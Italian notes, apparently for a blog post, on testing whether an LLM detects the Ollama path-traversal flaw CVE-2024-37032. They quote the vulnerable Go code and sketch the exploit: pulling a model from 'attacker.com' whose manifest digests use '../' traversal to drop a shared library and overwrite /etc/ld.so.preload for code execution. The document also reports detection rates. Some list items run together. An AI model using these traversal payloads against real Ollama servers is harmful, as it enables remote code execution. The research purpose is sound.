
Artefatti per un post sul blog su come trovare CVE-2025-37899 con o3
vulnerabilità ollama CVE-2024-37032
usando llm CLI
pip install llm
llm keys set openai
llm --sf system_prompt_path_traversal.prompt \
-f codes.prompt \
-f ollama_explainer.prompt \
-f code_context_explainer.prompt \
-f audit_request.prompt -m gpt-5 > gpt5-report.txt
Panoramica della vulnerabilità:
/api/pull, il digest di un blob del manifest remoto viene utilizzato in GetBlobsPath() senza convalida del percorsoCodice vulnerabile ollama/server/modelpath.go (pre-v0.1.34):
func GetBlobsPath(digest string) (string, error) {
dir, err := modelsDir()
if err != nil { return "", err }
// BUG: Only replaces ':' with '-', leaving '../' intact
digest = strings.ReplaceAll(digest, ":", "-")
// Joins unvalidated user-controlled digest into a filesystem path
path := filepath.Join(dir, "blobs", digest)
dirPath := filepath.Dir(path)
if digest == "" { dirPath = path }
// Creates directories for attacker-influenced path
if err := os.MkdirAll(dirPath, 0o755); err != nil { return "", err }
return path, nil
}
ollama pull llama3 → internamente chiama l'endpoint /api/pullsha256:f2ef2e10...)downloadBlob → GetBlobsPath(digest)modelsDir/blobs/sha256-f2ef2e10...os.Rename() al percorso finaleattacker.com)ollama pull attacker.com/malicious-modelsha256:../../root/bad.so nel manifestGetBlobsPath assembla il percorso senza convalida → libreria condivisa controllata dall'attaccante scritta in /root/bad.sosha256:../../etc/ld.so.preload nel manifest/etc/ld.so.preload con /root/bad.so/etc/ld.so.preload e carica automaticamente /root/bad.so → RCEserver/{modelpath, routes, download}.go (codice vulnerabile)"../", separatori di percorso, ecc. (suggerimento forte)server/auth.go (11 file totali)sha256 e la parola chiave "Path Traversal"auth/auth.go) (21 file totali)GetBlobsPath/api/pull → scrittura blobRisultati del Livello 3: Con il contesto target e i suggerimenti rimossi e sotto rumore estremo, il modello ha rilevato la vulnerabilità target ai tentativi 4, 5, 6, 7, 9, 11, 14, 18 e 19 — ottenendo un tasso di successo di rilevamento pseudo zero-day del 9/20 = 45%.